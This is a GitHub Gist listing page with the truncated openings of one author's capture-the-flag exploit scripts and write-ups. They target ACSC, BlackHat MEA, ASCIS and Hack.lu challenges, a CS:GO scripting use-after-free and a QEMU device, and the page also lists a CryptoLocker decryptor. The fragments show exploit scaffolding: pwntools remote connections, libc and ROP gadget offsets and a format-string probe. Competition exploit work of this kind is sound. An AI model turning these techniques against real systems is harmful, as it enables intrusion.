Skip to content

Instantly share code, notes, and snippets.

@kungfulon
kungfulon / RezExtractor.cpp
Created November 5, 2019 17:30
CrossFire VN Rez Extractor
#include <iostream>
#include <fstream>
#include <algorithm>
#include <experimental/filesystem>
#include <cstdlib>
using namespace std;
typedef unsigned int DWORD;
typedef unsigned char BYTE;
@kungfulon
kungfulon / readme.md
Last active March 4, 2024 09:43
ACSC 2023 Write-up

Welcome

Discord flag.

Merkle Hellman

Brute force byte-by-byte and apply encrypt function to verify.

from pwn import *
@kungfulon
kungfulon / exp.py
Created November 16, 2023 06:03
BlackHat MEA 2023 - House of Minho
from pwn import *
context.update(os='linux', arch='amd64')
r = process('./minho')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size, data, abuse_scanf=0):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', b'0' * abuse_scanf + str(size).encode())
@kungfulon
kungfulon / csgo.md
Created September 6, 2021 07:30
ALLES! CTF 2021 - 🔥 Counter Strike: Squirrel Offensive

🔥 Counter Strike: Squirrel Offensive

This challenge involves an old version of CS:GO VScript, which is vulnerable to a UAF bug and a type confusion bug.

UAF by resizing array in sort compare function

The sort function of squirrel array is array_sort in sqbaselib.cpp, which will call _qsort:

// v: VM, o: array object, func: compare func
@kungfulon
kungfulon / exp.c
Created October 31, 2021 22:51
Hack.lu CTF 2021 Cloudinspect
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#define INFO "[*] "
@kungfulon
kungfulon / ex2.py
Last active October 19, 2021 02:05
ASCIS 2021 Qualification Round - image_converter
#!/usr/bin/env python3
import struct
import sys
libc = int(sys.argv[1], 16) - 0x270b3
setreuid = 0x117ab0
execve = 0xe62f0
binsh = 0x1b75aa
poprdx = 0x11c371
@kungfulon
kungfulon / exp.py
Last active October 17, 2021 01:49
ASCIS 2021 Qualification Round - pwn2win
#!/usr/bin/env python3
from pwn import *
context.clear(arch='amd64', os='linux', endian='little')
r = remote('125.235.240.166', 33333)
# 1st boss
r.sendline(b'%p')
@kungfulon
kungfulon / exp.py
Created October 16, 2021 13:13
ASCIS 2021 Qualification Round - proxy
#!/usr/bin/env python3
from pwn import *
context.clear(arch='amd64', os='linux', endian='little')
libc = ELF('./libc-2.31.so')
MY_IP = b''
r = remote('125.235.240.166', 20120)
@kungfulon
kungfulon / stage_1_2.py
Last active April 9, 2021 11:53
ASCIS 2020 - Pwnable challenges
#!/usr/bin/env python3
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
b = ELF('./sandboxd')
l = ELF('./libc-2.31.so')
context.terminal = ['tmux', 'sp', '-h', '-p', '80']
@kungfulon
kungfulon / CryptoUnlocker.py
Created November 4, 2019 17:45
SVATTT 2019 - CryptoLocker. Requires Python 3 and openssl binaries installed.
#!/usr/bin/env python3
import sys
import struct
import glob
import os
import tempfile
import subprocess
PRIVATE_KEY_PATH = '/tmp/private_key.pem'